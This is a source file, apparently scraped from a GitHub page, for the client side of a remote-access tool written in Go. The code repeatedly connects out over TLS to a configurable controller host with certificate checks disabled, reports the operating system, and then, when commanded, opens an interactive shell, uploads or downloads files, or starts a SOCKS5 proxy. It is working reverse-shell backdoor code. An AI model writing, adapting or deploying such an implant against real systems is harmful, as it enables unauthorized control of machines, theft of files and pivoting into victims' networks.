-
Notifications
You must be signed in to change notification settings - Fork 154
/
client.go
85 lines (59 loc) · 1.25 KB
/
client.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package main
import (
"./shell"
"crypto/tls"
"flag"
"net"
"runtime"
"strings"
"time"
)
var(
serverHost string
serverPort string
waitTime int64
)
func init(){
flag.StringVar(&serverHost, "h", "192.168.1.1", "server ip")
flag.StringVar(&serverPort, "p", "8081", "server port")
flag.Int64Var(&waitTime, "t", 10, "reconnect wait time")
}
func HandleClientConnection(conn net.Conn) {
defer conn.Close()
actionChannel := make([]byte, 128)
osName := runtime.GOOS
_, _ = conn.Write([]byte(osName))
read_len, err := conn.Read(actionChannel)
if err != nil {
return
}
action := strings.TrimSpace(string(actionChannel[:read_len]))
if read_len == 0 {
return
}else if action == "shell" {
shell.GetInteractiveShell(conn)
}else if action == "upload" {
shell.UploadFile(conn)
}else if action == "download" {
shell.DownloadFile(conn)
}else if action == "socks" {
println("socks5")
shell.RunSocks5Proxy(conn)
}
}
func start(){
for{
time.Sleep(time.Duration(waitTime) * time.Second)
remote := serverHost+":"+serverPort
config := &tls.Config{InsecureSkipVerify: true}
conn, err := tls.Dial("tcp", remote, config);
if err != nil {
continue
}
go HandleClientConnection(conn)
}
}
func main() {
flag.Parse()
start()
}